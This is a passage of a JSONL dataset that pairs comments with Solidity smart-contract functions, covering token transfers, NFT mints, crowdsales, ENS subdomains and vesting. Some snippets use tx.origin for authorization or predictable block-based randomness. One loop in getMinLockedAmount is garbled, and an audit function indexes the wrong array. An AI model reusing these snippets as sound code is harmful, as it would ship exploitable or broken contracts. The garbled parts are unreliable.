_cardCount);\n\t}", "version": "0.6.12"} {"comment": "///sends the tokens to new contract", "function_code": "function migrate() external {\r\n require(!isFunding);\r\n require(newContractAddr != address(0x0));\r\n\r\n uint256 tokens = balances[msg.sender];\r\n require(tokens != 0);\r\n\r\n balances[msg.sender] = 0;\r\n tokenMigrated = safeAdd(tokenMigrated, tokens);\r\n\r\n IMigrationContract newContract = IMigrationContract(newContractAddr);\r\n require(newContract.migrate(msg.sender, tokens));\r\n\r\n emit Migrate(msg.sender, tokens); // log it\r\n }", "version": "0.4.24"} {"comment": "// MARK: Presale", "function_code": "function mintPreSale(uint256 _quantity) public payable presaleIsLive {\n require(_presaleWhiteList[msg.sender], \"You're are not eligible for Presale\");\n require(_presaleMintedCount[msg.sender] <= MAX_MINT_QUANTITY, \"Exceeded max mint limit for presale\");\n require(_presaleMintedCount[msg.sender]+_quantity <= MAX_MINT_QUANTITY, \"Minting would exceed presale mint limit. Please decrease quantity\");\n require(totalSupply() <= MAX_COLLECTION_SIZE, \"Collection Sold Out\");\n require(_quantity > 0, \"Need to mint at least one!\");\n require(_quantity <= MAX_MINT_QUANTITY, \"Cannot mint more than max\");\n require(totalSupply() + _quantity <= MAX_COLLECTION_SIZE, \"Minting would exceed max supply, please decrease quantity\");\n require(_quantity*MINT_PRICE == msg.value, \"Incorrect amount of ETH sent\");\n \n uint count = _presaleMintedCount[msg.sender];\n _presaleMintedCount[msg.sender] = _quantity + count;\n for (uint256 i = 0; i < _quantity; i++) {\n _tokenIdCounter.increment();\n _safeMint(msg.sender, _tokenIdCounter.current());\n }\n }", "version": "0.8.0"} {"comment": "/*INTERNAL TRANSFER*/", "function_code": "function _transfer(address _from, address _to, uint _value) internal { \r\n/*prevent transfer to invalid address*/ \r\nif(_to == 0x0) revert();\r\n/*check if the sender has enough value to send*/\r\nif(balances[_from] < _value) revert(); \r\n/*check for overflows*/\r\nif(balances[_to] + _value < balances[_to]) revert();\r\n/*compute sending and receiving balances before transfer*/\r\nuint PreviousBalances = balances[_from] + balances[_to];\r\n/*substract from sender*/\r\nbalances[_from] -= _value;\r\n/*add to the recipient*/\r\nbalances[_to] += _value; \r\n/*check integrity of transfer operation*/\r\nassert(balances[_from] + balances[_to] == PreviousBalances);\r\n/*broadcast transaction*/\r\nemit BroadcastTransfer(_from, _to, _value); \r\n}", "version": "0.4.21"} {"comment": "/*THIRD PARTY TRANSFER*/", "function_code": "function transferFrom(address _from, address _to, uint256 _value) \r\nexternal returns (bool success) {\r\n/*check if the message sender can spend*/\r\nrequire(_value <= allowed[_from][msg.sender]); \r\n/*substract from message sender's spend allowance*/\r\nallowed[_from][msg.sender] -= _value;\r\n/*transfer tokens*/\r\n_transfer(_from, _to, _value);\r\nreturn true;\r\n}", "version": "0.4.21"} {"comment": "/*AUTHORISE ADMINS*/", "function_code": "function AuthAdmin (address _admin, bool _authority, uint256 _level) external \r\nreturns(bool){\r\nif((msg.sender != Mars) && (msg.sender != Mercury) && (msg.sender != Europa) &&\r\n(msg.sender != Jupiter) && (msg.sender != Neptune)) revert(); \r\nadmin[_admin].Authorised = _authority;\r\nadmin[_admin].Level = _level;\r\nreturn true;\r\n}", "version": "0.4.21"} {"comment": "/*AUTHORISE DAPPS*/", "function_code": "function AuthDapps (address _dapp, bool _mint, bool _burn, bool _rate) external \r\nreturns(bool){\r\nif(admin[msg.sender].Authorised == false) revert();\r\nif(admin[msg.sender].Level < 5) revert();\r\ndapps[_dapp].AuthoriseMint = _mint;\r\ndapps[_dapp].AuthoriseBurn = _burn;\r\ndapps[_dapp].AuthoriseRate = _rate;\r\nreturn true;\r\n}", "version": "0.4.21"} {"comment": "/*LET DAPPS ALLOCATE SPECIAL EXCHANGE RATES*/", "function_code": "function SpecialRate (address _user, address _dapp, uint256 _amount, uint256 _rate) \r\nexternal returns(bool){\r\n/*conduct integrity check*/ \r\nif(dapps[msg.sender].AuthoriseRate == false) revert(); \r\nif(dapps[_dapp].AuthoriseRate == false) revert(); \r\ncoloured[_user][_dapp].Amount += _amount;\r\ncoloured[_user][_dapp].Rate = _rate;\r\nreturn true;\r\n}", "version": "0.4.21"} {"comment": "/*BLOCK POINTS REWARD*/", "function_code": "function Reward(address r_to, uint256 r_amount) external returns (bool){\r\n/*conduct integrity check*/ \r\nif(dapps[msg.sender].AuthoriseMint == false) revert(); \r\n/*mint block point for beneficiary*/\r\nbalances[r_to] += r_amount;\r\n/*increase total supply*/\r\nTotalSupply += r_amount;\r\n/*broadcast mint*/\r\nemit BrodMint(msg.sender,r_to,r_amount); \r\nreturn true;\r\n}", "version": "0.4.21"} {"comment": "/*GENERIC CONVERSION OF BLOCKPOINTS*/", "function_code": "function ConvertBkp(uint256 b_amount) external returns (bool){\r\n/*conduct integrity check*/\r\nrequire(global[ContractAddr].Suspend == false);\r\nrequire(b_amount > 0);\r\nrequire(global[ContractAddr].Rate > 0);\r\n/*compute expected balance after conversion*/\r\npr.n1 = sub(balances[msg.sender],b_amount);\r\n/*check whether the converting address has enough block points to convert*/\r\nrequire(balances[msg.sender] >= b_amount); \r\n/*substract block points from converter and total supply*/\r\nbalances[msg.sender] -= b_amount;\r\nTotalSupply -= b_amount;\r\n/*determine toc liability*/\r\npr.n2 = mul(b_amount,global[ContractAddr].Rate);\r\n/*connect to toc contract*/\r\nTOC\r\nTOCCall = TOC(addressbook[ContractAddr].TOCAddr);\r\n/*check integrity of conversion operation*/\r\nassert(pr.n1 == balances[msg.sender]);\r\n/*send toc to message sender*/\r\nTOCCall.transfer(msg.sender,pr.n2);\r\nreturn true;\r\n}", "version": "0.4.21"} {"comment": "/*CONVERSION OF COLOURED BLOCKPOINTS*/", "function_code": "function ConvertColouredBkp(address _dapp) external returns (bool){\r\n/*conduct integrity check*/\r\nrequire(global[ContractAddr].Suspend == false);\r\nrequire(coloured[msg.sender][_dapp].Rate > 0);\r\n/*determine conversion amount*/\r\nuint256 b_amount = coloured[msg.sender][_dapp].Amount;\r\nrequire(b_amount > 0);\r\n/*check whether the converting address has enough block points to convert*/\r\nrequire(balances[msg.sender] >= b_amount); \r\n/*compute expected balance after conversion*/\r\npr.n3 = sub(coloured[msg.sender][_dapp].Amount,b_amount);\r\npr.n4 = sub(balances[msg.sender],b_amount);\r\n/*substract block points from converter balances and total supply*/\r\ncoloured[msg.sender][_dapp].Amount -= b_amount;\r\nbalances[msg.sender] -= b_amount;\r\nTotalSupply -= b_amount;\r\n/*determine toc liability*/\r\npr.n5 = mul(b_amount,coloured[msg.sender][_dapp].Rate);\r\n/*connect to toc contract*/\r\nTOC\r\nTOCCall = TOC(addressbook[ContractAddr].TOCAddr);\r\n/*check integrity of conversion operation*/\r\nassert(pr.n3 == coloured[msg.sender][_dapp].Amount);\r\nassert(pr.n4 == balances[msg.sender]);\r\n/*send toc to message sender*/\r\nTOCCall.transfer(msg.sender,pr.n5);\r\nreturn true;\r\n}", "version": "0.4.21"} {"comment": "/*BURN BLOCK POINTS*/", "function_code": "function Burn(address b_to, uint256 b_amount) external returns (bool){\r\n/*check if dapp can burn blockpoints*/ \r\nif(dapps[msg.sender].AuthoriseBurn == false) revert(); \r\n/*check whether the burning address has enough block points to burn*/\r\nrequire(balances[b_to] >= b_amount); \r\n/*substract blockpoints from burning address balance*/\r\nbalances[b_to] -= b_amount;\r\n/*substract blockpoints from total supply*/\r\nTotalSupply -= b_amount;\r\n/*broadcast burning*/\r\nemit BrodBurn(msg.sender, b_to,b_amount); \r\nreturn true;\r\n}", "version": "0.4.21"} {"comment": "/**\r\n * NOTE: This method can only be called ONCE per address.\r\n * @param _account address of the AVT claimant\r\n * @param _firstPaymentTimestamp timestamp for the claimant's first payment\r\n * @param _amountPerPayment amount of AVT (to 18 decimal places, aka NAT) to pay the claimant on each payment\r\n */", "function_code": "function addAccount(address _account, uint _firstPaymentTimestamp, uint _amountPerPayment)\r\n public\r\n onlyOwner\r\n {\r\n require(AmountPerPayment[_account] == 0, \"Already registered\");\r\n require(_firstPaymentTimestamp >= schemeStartTimestamp, \"First payment timestamp is invalid\");\r\n require(_amountPerPayment != 0, \"Amount is zero\");\r\n AmountPerPayment[_account] = _amountPerPayment;\r\n NumPaymentsLeft[_account] = numPayments;\r\n NextPaymentDueTimestamp[_account] = _firstPaymentTimestamp;\r\n }", "version": "0.5.0"} {"comment": "// calculate the amount of tokens an address can use", "function_code": "function getMinLockedAmount(address _addr) view public returns (uint256 locked) {\r\n uint256 i;\r\n uint256 a;\r\n uint256 t;\r\n uint256 lockSum = 0;\r\n // if the address has no limitations just return 0\r\n TokenLockState storage lockState = lockingStates[_addr];\r\n if (lockState.latestReleaseTime < now) {\r\n return 0;\r\n }\r\n for (i=0; i now) {\r\n lockSum = lockSum.add(a);\r\n }\r\n }\r\n return lockSum;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Stores a new address in the EIP1967 implementation slot.\r\n */", "function_code": "function _setImplementation(address newImplementation) private {\r\n require(\r\n newImplementation == address(0x0) || Address.isContract(newImplementation),\r\n \"UpgradeableExtension: new implementation must be 0x0 or a contract\"\r\n );\r\n\r\n bytes32 slot = _IMPLEMENTATION_SLOT;\r\n\r\n // solhint-disable-next-line no-inline-assembly\r\n assembly {\r\n sstore(slot, newImplementation)\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Transfer resolved address of the ENS subdomain\n * @param _node - namehash of the ENS subdomain\n * @param _account - new resolved address of the ENS subdomain\n */", "function_code": "function transferSubdomainAddress(bytes32 _node, address _account)\n external\n {\n require(\n registry.owner(_node) == address(this),\n \"Err: Subdomain not owned by contract\"\n );\n require(\n resolver.addr(_node) == tx.origin,\n \"Err: Subdomain not owned by sender\"\n );\n resolver.setAddr(_node, _account);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Registers a username to an address, such that the address will own a subdomain of zappermail.eth\n * i.e.: If a user registers \"joe\", they will own \"joe.zappermail.eth\"\n * @param _account - Address of the new owner of the username\n * @param _node - Subdomain node to be registered\n * @param _username - Username being requested\n * @param _publicKey - The Zapper mail encryption public key for this username\n * @param _signature - Verified signature granting account the subdomain\n */", "function_code": "function registerUser(\n address _account,\n bytes32 _node,\n string calldata _username,\n string calldata _publicKey,\n bytes calldata _signature\n ) external pausable {\n // Confirm that the signature matches that of the sender\n require(\n verify(_account, _publicKey, _signature),\n \"Err: Invalid Signature\"\n );\n\n // Validate that the node is valid for the given username\n require(\n node(_username) == _node,\n \"Err: Node does not match ENS subdomain\"\n );\n\n // Require that the subdomain is not already owned or owned by this registry\n require(\n registry.owner(_node) == address(0) ||\n registry.owner(_node) == address(this),\n \"Err: Subdomain already owned\"\n );\n\n // Take ownership of the subdomain and configure it\n bytes32 usernameHash = keccak256(bytes(_username));\n registry.setSubnodeOwner(baseNode, usernameHash, address(this));\n registry.setResolver(_node, address(resolver));\n resolver.setAddr(_node, _account);\n registry.setOwner(_node, address(this));\n\n // Emit event to index users on the backend\n emit UserRegistered(\n baseNode,\n usernameHash,\n _account,\n _username,\n _publicKey\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Batch sends a message to users\n * @param _recipients - Addresses of the recipients of the message\n * @param _hashes - IPFS hashes of the message\n */", "function_code": "function batchSendMessage(\n address[] calldata _recipients,\n string[] calldata _hashes\n ) external pausable {\n require(\n _recipients.length == _hashes.length,\n \"Err: Expected same number of recipients as hashes\"\n );\n for (uint256 i = 0; i < _recipients.length; i++) {\n emit MessageSent(baseNode, tx.origin, _recipients[i], _hashes[i]);\n }\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Override update purchasing state\r\n * - update sum of funds invested\r\n * - if total amount invested higher than KYC amount set KYC required to true\r\n */", "function_code": "function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {\r\n super._updatePurchasingState(_beneficiary, _weiAmount);\r\n\r\n uint256 usdAmount = _weiToUsd(_weiAmount);\r\n usdRaised = usdRaised.add(usdAmount);\r\n usdInvested[_beneficiary] = usdInvested[_beneficiary].add(usdAmount);\r\n weiInvested[_beneficiary] = weiInvested[_beneficiary].add(_weiAmount);\r\n\r\n if (usdInvested[_beneficiary] >= KYCRequiredAmountInUsd) {\r\n KYCRequired[_beneficiary] = true;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Must be called after crowdsale ends, to do some extra finalization works.\r\n */", "function_code": "function finalize() public onlyOwner {\r\n require(!isFinalized);\r\n\r\n // NOTE: We do this because we would like to allow withdrawals earlier than closing time in case of crowdsale success\r\n closingTime = block.timestamp;\r\n weiOnFinalize = address(this).balance;\r\n isFinalized = true;\r\n\r\n emit Finalized();\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Send remaining tokens back\r\n * @param _to Address to send\r\n * @param _amount Amount to send\r\n */", "function_code": "function sendTokens(address _to, uint256 _amount) external onlyOwner {\r\n if (!isFinalized || goalReached) {\r\n // NOTE: if crowdsale not finished or successful we should keep at least tokens sold\r\n _ensureTokensAvailable(_amount);\r\n }\r\n\r\n token.transfer(_to, _amount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Override process purchase\r\n * - additionally sum tokens sold\r\n */", "function_code": "function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {\r\n super._processPurchase(_beneficiary, _tokenAmount);\r\n\r\n tokensSold = tokensSold.add(_tokenAmount);\r\n\r\n if (pledgeOpen()) {\r\n // NOTE: In case of buying tokens inside pledge it doesn't matter how we decrease pledge as we change it anyway\r\n _decreasePledge(_beneficiary, _tokenAmount);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Air drops tokens to users\r\n * @param _addresses list of addresses\r\n * @param _tokens List of tokens to drop\r\n */", "function_code": "function airDropTokens(address[] _addresses, uint256[] _tokens) external onlyOwnerOrOracle {\r\n require(_addresses.length == _tokens.length);\r\n _ensureTokensListAvailable(_tokens);\r\n\r\n for (uint16 index = 0; index < _addresses.length; index++) {\r\n tokensSold = tokensSold.add(_tokens[index]);\r\n balances[_addresses[index]] = balances[_addresses[index]].add(_tokens[index]);\r\n\r\n emit AirDrop(_addresses[index], _tokens[index]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// find participant who has winning ticket\n// to start: _begin is 0, _end is last index in ticketsInterval array", "function_code": "function getWinner(\r\n uint _round,\r\n uint _beginInterval,\r\n uint _endInterval,\r\n uint _winningTicket\r\n )\r\n internal\r\n returns (address)\r\n {\r\n if (_beginInterval == _endInterval) {\r\n return rounds[_round].tickets[_beginInterval].participant;\r\n }\r\n\r\n uint len = _endInterval.add(1).sub(_beginInterval);\r\n uint mid = _beginInterval.add((len.div(2))).sub(1);\r\n TicketsInterval memory interval = rounds[_round].tickets[mid];\r\n\r\n if (_winningTicket < interval.firstTicket) {\r\n return getWinner(_round, _beginInterval, mid, _winningTicket);\r\n } else if (_winningTicket > interval.lastTicket) {\r\n return getWinner(_round, mid.add(1), _endInterval, _winningTicket);\r\n } else {\r\n return interval.participant;\r\n }\r\n }", "version": "0.5.6"} {"comment": "// Implementing the fastest and most trivial algorithm I could find.\n// https://weblog.jamisbuck.org/2011/2/1/maze-generation-binary-tree-algorithm", "function_code": "function getMazeData(uint id) public pure returns (uint[FIELD_SIZE] memory) {\n uint[FIELD_SIZE] memory bitfield;\n uint cell;\n uint randInt = semiRandomData(id);\n bool goSouth;\n // Initialize a bit field\n for (uint i = 0; i < FIELD_SIZE; i = i + 1) {\n cell = 31;\n randInt = semiRandomData(randInt);\n // coin filt to decide if I should go south or east\n goSouth = (randInt % 1000) >= 500;\n uint[2] memory rowCol = bitIndexToRowCol(i);\n if (goSouth) {\n if (rowCol[0] < (MAZE_SIZE - 1)) {\n cell = cell & ~SOUTH_WALL;\n } else if (rowCol[1] < (MAZE_SIZE -1)) {\n cell = cell & ~EAST_WALL;\n }\n } else {\n if (rowCol[1] < (MAZE_SIZE - 1)) {\n cell = cell & ~EAST_WALL;\n } else if (rowCol[0] < (MAZE_SIZE) - 1){\n cell = cell & ~SOUTH_WALL;\n }\n }\n bitfield[i] = cell;\n }\n return bitfield;\n\n }", "version": "0.8.6"} {"comment": "/**\r\n * Add `_account` to the whitelist\r\n *\r\n * If an account is currently disabled, the account is reenabled, otherwise \r\n * a new entry is created\r\n *\r\n * @param _account The account to add\r\n */", "function_code": "function add(address _account) public only_owner {\r\n if (!hasEntry(_account)) {\r\n list[_account] = Entry(\r\n now, true, listIndex.push(_account) - 1);\r\n } else {\r\n Entry storage entry = list[_account];\r\n if (!entry.accepted) {\r\n entry.accepted = true;\r\n entry.datetime = now;\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev See {IERC721-ownerOf}.\r\n */", "function_code": "function ownerOf(uint256 tokenId) public view override returns (address) {\r\n uint256 curr = tokenId;\r\n\r\n if (_exists(curr)) {\r\n address add;\r\n if (_tokenIdToAddress[curr] != address(0)) return _tokenIdToAddress[curr];\r\n while (true) {\r\n curr--;\r\n add = _tokenIdToAddress[curr];\r\n if (add != address(0)) return add;\r\n }\r\n }\r\n revert QueryForNonexistentToken();\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Returns whether `tokenId` exists.\r\n *\r\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\r\n *\r\n * Tokens start existing when they are minted (`_mint`),\r\n * and stop existing when they are burned (`_burn`).\r\n */", "function_code": "function _exists(uint256 tokenId) internal view virtual returns (bool) {\r\n uint256 curr = tokenId;\r\n if (curr <_currentIndex && curr >0){\r\n if (_tokenIdToAddress[curr] != address(0)) {\r\n return true;\r\n }\r\n while (true) {\r\n curr--;\r\n if (_tokenIdToAddress[curr] != address(0)) {\r\n return true;\r\n }\r\n }\r\n }\r\n else if (tokenId >100000 && tokenId <100020){\r\n return _tokenIdToAddress[tokenId] != address(0);\r\n }\r\n revert QueryForNonexistentToken();\r\n }", "version": "0.8.7"} {"comment": "/// @notice Claim MGG for a given HOE ID\n/// @param tokenId The tokenId of the HOE NFT", "function_code": "function claimById(uint256 tokenId, uint256 week) external nonReentrant{\r\n\r\n // Check that the msgSender owns the token that is being claimed\r\n require(\r\n msg.sender == hoeContract.ownerOf(tokenId),\r\n \"MUST_OWN_TOKEN_ID\"\r\n );\r\n\r\n require(\r\n !weekClaimedByTokenId[week][tokenId],\r\n \"Already Claimed\"\r\n );\r\n\r\n // Further Checks, Effects, and Interactions are contained within the\r\n // _claim() function\r\n _claim(tokenId, msg.sender, week);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Claim MGG for all tokens owned by the sender\n/// @notice This function will run out of gas if you have too much HOE!", "function_code": "function claimAllForOwner(uint256 week) external {\r\n uint256 tokenBalanceOwner = hoeContract.balanceOf(msg.sender);\r\n\r\n // Checks\r\n require(tokenBalanceOwner > 0, \"NO_TOKENS_OWNED\");\r\n\r\n // i < tokenBalanceOwner because tokenBalanceOwner is 1-indexed\r\n for (uint256 i = 0; i < tokenBalanceOwner; i++) {\r\n // Further Checks, Effects, and Interactions are contained within\r\n // the _claim() function\r\n\r\n if(!weekClaimedByTokenId[week][hoeContract.tokenOfOwnerByIndex(msg.sender, i)]){\r\n _claim(\r\n hoeContract.tokenOfOwnerByIndex(msg.sender, i),\r\n msg.sender,\r\n week\r\n );\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @dev Internal function to mint MGG upon claiming", "function_code": "function _claim(uint256 tokenId, address tokenOwner, uint256 week) internal {\r\n // Checks\r\n // Check that the token ID is in range\r\n // We use >= and <= to here because all of the token IDs are 0-indexed\r\n require(\r\n tokenId >= tokenIdStart && tokenId <= tokenIdEnd,\r\n \"TOKEN_ID_OUT_OF_RANGE\"\r\n );\r\n\r\n require(\r\n week >= startWeek() && week <= currentWeek(),\r\n \"Need Valid Week\"\r\n );\r\n\r\n // Check that MGG have not already been claimed this week\r\n // for a given tokenId\r\n require(\r\n !weekClaimedByTokenId[week][tokenId],\r\n \"Already Claimed\"\r\n );\r\n\r\n // Mark that MGG has been claimed for this week for the\r\n // given tokenId\r\n weekClaimedByTokenId[week][tokenId] = true;\r\n\r\n\r\n\r\n // Send MGG to the owner of the token ID\r\n reward.mint(tokenOwner, rewardPerHOEPerWeek);\r\n }", "version": "0.6.12"} {"comment": "/// Get the next token ID\n/// @dev Randomly gets a new token ID and keeps track of the ones that are still available.\n/// @return the next token ID", "function_code": "function nextToken() internal ensureAvailability returns (uint256) {\r\n \r\n \r\n uint256 maxIndex = maxSupply - totalSupply();\r\n uint256 random = uint256(keccak256(\r\n abi.encodePacked(\r\n msg.sender,\r\n block.coinbase,\r\n block.difficulty,\r\n block.gaslimit,\r\n block.timestamp\r\n )\r\n )) % maxIndex;\r\n \r\n uint256 value = 0;\r\n if (tokenMatrix[random] == 0) {\r\n // If this matrix position is empty, set the value to the generated random number.\r\n value = random;\r\n } else {\r\n // Otherwise, use the previously stored number from the matrix.\r\n value = tokenMatrix[random];\r\n }\r\n \r\n // If the last available tokenID is still unused...\r\n if (tokenMatrix[maxIndex - 1] == 0) {\r\n // ...store that ID in the current matrix position.\r\n tokenMatrix[random] = maxIndex - 1;\r\n } else {\r\n // ...otherwise copy over the stored number to the current matrix position.\r\n tokenMatrix[random] = tokenMatrix[maxIndex - 1];\r\n }\r\n \r\n \r\n \r\n // Increment counts\r\n TokenIncrement();\r\n \r\n return value + startFrom;\r\n }", "version": "0.8.7"} {"comment": "//RandomAssignment Code Ends", "function_code": "function mint(uint256 _mintAmount) public payable {\r\n require(!paused, \"The contract is paused!\");\r\n require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, \"Invalid mint amount!\");\r\n require(supply.current() + _mintAmount <= maxSupply, \"Max supply exceeded!\");\r\n // require(msg.value >= cost * _mintAmount, \"Insufficient funds!\");\r\n\r\n \r\n if(onlyWhitelisted == true) {\r\n require(isWhitelisted(msg.sender), \"user is not whitelisted\");\r\n uint256 ownerMintedCount = addressMintedBalance[msg.sender];\r\n require(ownerMintedCount + _mintAmount <= WLPerAddressLimit, \"max NFT per address exceeded\");\r\n }\r\n require(msg.value >= cost * _mintAmount, \"insufficient funds\");\r\n \r\n for (uint256 i = 0; i < _mintAmount; i++) {\r\n addressMintedBalance[msg.sender]++;\r\n supply.increment();\r\n _safeMint(msg.sender, nextToken());\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Allow a user to withdraw any PERI in their schedule that have vested.\n */", "function_code": "function vest() external {\n uint numEntries = numVestingEntries(msg.sender);\n uint total;\n for (uint i = 0; i < numEntries; i++) {\n uint time = getVestingTime(msg.sender, i);\n /* The list is sorted; when we reach the first future time, bail out. */\n if (time > now) {\n break;\n }\n uint qty = getVestingQuantity(msg.sender, i);\n if (qty > 0) {\n vestingSchedules[msg.sender][i] = [0, 0];\n total = total.add(qty);\n }\n }\n\n if (total != 0) {\n totalVestedBalance = totalVestedBalance.sub(total);\n totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total);\n IERC20(address(periFinance)).transfer(msg.sender, total);\n emit Vested(msg.sender, now, total);\n }\n }", "version": "0.5.17"} {"comment": "/// @dev Internal function to award tokens upon claiming", "function_code": "function _claim(address claimant, uint256 lootBalance) internal {\r\n uint256 multiplier = lootBalance + 1;\r\n uint256 totalToAward = award * multiplier;\r\n if (totalToAward > awardCap) {\r\n totalToAward = awardCap;\r\n }\r\n\r\n require(balanceOf(address(this)) >= totalToAward, \"SUPPLY_EXHAUSTED\");\r\n\r\n claims[season][claimant] = true;\r\n\r\n _transfer(address(this), claimant, totalToAward);\r\n emit Withdraw(claimant, totalToAward);\r\n }", "version": "0.8.7"} {"comment": "/* Adds a user to our list of admins */", "function_code": "function addAdmin(address _address) {\r\n /* Ensure we're an admin */\r\n if (!isCurrentAdmin(msg.sender))\r\n throw;\r\n\r\n // Fail if this account is already admin\r\n if (adminAddresses[_address])\r\n throw;\r\n \r\n // Add the user\r\n adminAddresses[_address] = true;\r\n AdminAdded(msg.sender, _address);\r\n adminAudit.length++;\r\n adminAudit[adminAudit.length - 1] = _address;\r\n }", "version": "0.4.11"} {"comment": "/* Removes a user from our list of admins but keeps them in the history audit */", "function_code": "function removeAdmin(address _address) {\r\n /* Ensure we're an admin */\r\n if (!isCurrentAdmin(msg.sender))\r\n throw;\r\n\r\n /* Don't allow removal of self */\r\n if (_address == msg.sender)\r\n throw;\r\n\r\n // Fail if this account is already non-admin\r\n if (!adminAddresses[_address])\r\n throw;\r\n\r\n /* Remove this admin user */\r\n adminAddresses[_address] = false;\r\n AdminRemoved(msg.sender, _address);\r\n }", "version": "0.4.11"} {"comment": "/* Adds a user/contract to our list of account readers */", "function_code": "function addAccountReader(address _address) {\r\n /* Ensure we're an admin */\r\n if (!isCurrentAdmin(msg.sender))\r\n throw;\r\n\r\n // Fail if this account is already in the list\r\n if (accountReaderAddresses[_address])\r\n throw;\r\n \r\n // Add the user\r\n accountReaderAddresses[_address] = true;\r\n AccountReaderAdded(msg.sender, _address);\r\n accountReaderAudit.length++;\r\n accountReaderAudit[adminAudit.length - 1] = _address;\r\n }", "version": "0.4.11"} {"comment": "/* Removes a user/contracts from our list of account readers but keeps them in the history audit */", "function_code": "function removeAccountReader(address _address) {\r\n /* Ensure we're an admin */\r\n if (!isCurrentAdmin(msg.sender))\r\n throw;\r\n\r\n // Fail if this account is already not in the list\r\n if (!accountReaderAddresses[_address])\r\n throw;\r\n\r\n /* Remove this admin user */\r\n accountReaderAddresses[_address] = false;\r\n AccountReaderRemoved(msg.sender, _address);\r\n }", "version": "0.4.11"} {"comment": "/**\n @notice\n Gets the current price of ETH for the provided currency.\n \n @param _currency The currency to get a price for.\n \n @return price The price of ETH with 18 decimals.\n */", "function_code": "function getETHPriceFor(uint256 _currency)\n external\n view\n override\n returns (uint256)\n {\n // The 0 currency is ETH itself.\n if (_currency == 0) return 10**targetDecimals;\n\n // Get a reference to the feed.\n AggregatorV3Interface _feed = feedFor[_currency];\n\n // Feed must exist.\n require(\n _feed != AggregatorV3Interface(address(0)),\n \"Prices::getETHPrice: NOT_FOUND\"\n );\n\n // Get the lateset round information. Only need the price is needed.\n (, int256 _price, , , ) = _feed.latestRoundData();\n\n // Multiply the price by the decimal adjuster to get the normalized result.\n return uint256(_price) * feedDecimalAdjuster[_currency];\n }", "version": "0.8.6"} {"comment": "/**\n @notice\n Add a price feed for the price of ETH.\n \n @dev\n Current feeds can't be modified.\n \n @param _feed The price feed being added.\n @param _currency The currency that the price feed is for.\n */", "function_code": "function addFeed(AggregatorV3Interface _feed, uint256 _currency)\n external\n override\n onlyOwner\n {\n // The 0 currency is reserved for ETH.\n require(_currency > 0, \"Prices::addFeed: RESERVED\");\n\n // There can't already be a feed for the specified currency.\n require(\n feedFor[_currency] == AggregatorV3Interface(address(0)),\n \"Prices::addFeed: ALREADY_EXISTS\"\n );\n\n // Get a reference to the number of decimals the feed uses.\n uint256 _decimals = _feed.decimals();\n\n // Decimals should be less than or equal to the target number of decimals.\n require(_decimals <= targetDecimals, \"Prices::addFeed: BAD_DECIMALS\");\n\n // Set the feed.\n feedFor[_currency] = _feed;\n\n // Set the decimal adjuster for the currency.\n feedDecimalAdjuster[_currency] = 10**(targetDecimals - _decimals);\n\n emit AddFeed(_currency, _feed);\n }", "version": "0.8.6"} {"comment": "//function that is called when transaction target is a contract\n//Only used for recycling NSPs", "function_code": "function transferToContract(address _to, uint _value, uint _code) public returns (bool success) {\r\n\t\trequire(isContract(_to));\r\n\t\trequire(_value <= balances[msg.sender]);\r\n\t\r\n \tbalances[msg.sender] = balanceOf(msg.sender).sub(_value);\r\n\t\tbalances[_to] = balanceOf(_to).add(_value);\r\n\t\tNSPReceiver receiver = NSPReceiver(_to);\r\n\t\treceiver.NSPFallback(msg.sender, _value, _code);\r\n\t\tTransfer(msg.sender, _to, _value);\r\n\t\t\r\n\t\treturn true;\r\n\t}", "version": "0.4.21"} {"comment": "//arbitrary versioning scheme. current V4\n//funtie naam moet gelijk zijn met de naam hieronder!", "function_code": "function NMBLToken(\r\n ) {\r\n balances[0xB5138E4D08e98c20cE5564a956C3869683496D63] = 1000000000000000000000; // NMBL team gets all tokens in the start\r\n totalSupply = 1000000000000000000000; // no comment, total supply\r\n name = \"Nimble\"; // display purposes\r\n decimals = 7; // Amount of decimals for display purposes\r\n symbol = \"NMBL\"; // Symbol\r\n }", "version": "0.4.19"} {"comment": "// Deposit LP tokens to MasterSmith for GEM allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending = user.amount.mul(pool.accGemPerShare).div(1e12).sub(user.rewardDebt);\n safeGemTransfer(msg.sender, pending);\n }\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\n user.amount = user.amount.add(_amount);\n user.rewardDebt = user.amount.mul(pool.accGemPerShare).div(1e12);\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "/**\r\n \t * @dev `_from` Name position `_value` Logos onto `_to` Name\r\n \t *\r\n \t * @param _from The address of the sender\r\n \t * @param _to The address of the recipient\r\n \t * @param _value the amount to position\r\n \t * @return true on success\r\n \t */", "function_code": "function positionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) nameNotCompromised(_from) nameNotCompromised(_to) onlyAdvocate(_from) senderNameNotCompromised returns (bool) {\r\n\t\trequire (_from != _to);\t// Can't position Logos to itself\r\n\t\trequire (availableToPositionAmount(_from) >= _value); // should have enough balance to position\r\n\t\trequire (positionFromOthers[_to].add(_value) >= positionFromOthers[_to]); // check for overflows\r\n\r\n\t\tpositionOnOthers[_from][_to] = 